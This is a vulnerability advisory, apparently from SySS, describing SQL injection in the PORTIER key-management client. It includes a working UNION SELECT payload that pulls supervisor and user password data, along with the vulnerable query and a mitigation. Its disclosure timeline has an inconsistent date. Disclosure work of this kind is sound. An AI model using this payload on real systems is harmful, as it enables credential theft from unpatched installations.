PORTIER 4.4.4.2 / 4.4.4.6 SQL Injection Vulnerability

PORTIER 4.4.4.2 / 4.4.4.6 SQL Injection

Product: PORTIER
Affected Version(s): 4.4.4.2, 4.4.4.6
Tested Version(s): 4.4.4.2, 4.4.4.6
Vulnerability Type: SQL Injection (CWE-89)
Risk Level: HIGH
Solution Status: Open
Manufacturer Notification: 2018-06-13
Solution Date: -
Public Disclosure: 2018-01-09
CVE Reference: CVE-2019-5722
Author of Advisory: Christian Pappas, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

portier vision is a rich client application for managing door keys allocated 
to certain persons or group of persons.

The manufacturer describes the product as follows (see [1]):

"portierA(r) vision
 * manages locking systems and access rights in a modern and efficient manner
 * stores all the details for every single key
 * provides you lightning fast with all the information you need in a format 
   you choose
portier A(r)vision easy - secure - fast, our idea of software."

Due to a lack of user input validation in the parameter handling, portier is 
application wide vulnerable to various SQL injections, including the login 
form.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

Many input fields are vulnerable to SQL injection. An SQL injection allows 
typically an attacker to execute almost arbitrary SQL commands. It is possible 
to break out of the original query with an uptick, append a custom query and 
fix the syntax.

The application supports Firebird and MS SQL database servers. Stacked queries 
do not work with both database servers. One of the vulnerable input fields is 
the user name within the login form. This allows even unauthenticated users 
to exploit the application. Because the authentication process is implemented 
in the client application, the SQL injection in the login form does not allow 
a login bypass.

The most promising real-life attack among other possible attacks is to steal 
the encrypted passwords of users with supervisor privileges. Within this 
application Supervisors have the highest privileges for administrative purpose.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof-of-Concept (PoC):

This proof-of-concept will exploit the vulnerability in the search form for a 
key ring number, but several other vulnerable input fields do exist. Because 
this is not a web application, most of the publicly available tools for 
exploiting SQL injections will not work out of the box.

Due to the use of plain text communication between application and database, 
server it is easy to sniff the traffic and capture the queries made by the 
application. That comes in handy for building a valid attack vector since the 
flaw is exploited manually.

Searching for the key ring number 'TRACKME', the application queries the 
database server as following:

    SELECT 
    BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3
     FROM 
    BUND BUND
     LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID 
    WHERE 
     ( 1 = 1 ) 
    AND (upper(BUND.BUNDNUMMER) LIKE 'TRACKME%')

To get hold of the passwords for all supervisor users in the application, it is 
necessary to break out of the the original, inject the attack vector, and 
finally fix the SQL syntax:

    ') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a

'systemuser' within the previous shown attack vector can be replaced by '1' to 
get the passwords of all users, no matter if they have supervisor privileges 
or not. In both cases, the username will be displayed in the application next 
to their password.

The attack vector embedded in the client's query looks like the following:

    SELECT 
    BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3
     FROM 
    BUND BUND
     LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID 
    WHERE 
     ( 1 = 1 ) 
    AND (upper(BUND.BUNDNUMMER) LIKE '') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a%')

The Firebird, unlike the MS SQL, database do not support UNION SELECT query if 
the entire query is terminated by an ORDER BY statement. Thus the number of 
out of the application exploitable input fields is with an MS SQL database 
slightly smaller.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Make application wide use of prepared statements for querying the database. 
SySS GmbH is not aware of a solution to the reported security issue provided 
by the manufacturer.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2018-05-23: Vulnerability discovered
2018-06-13: Vulnerability reported to manufacturer
2018-01-09: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for PORTIER
    https://portier.de/
[2] SySS Security Advisory SYSS-2018-012
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-012.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

#  0day.today [2019-02-07]  #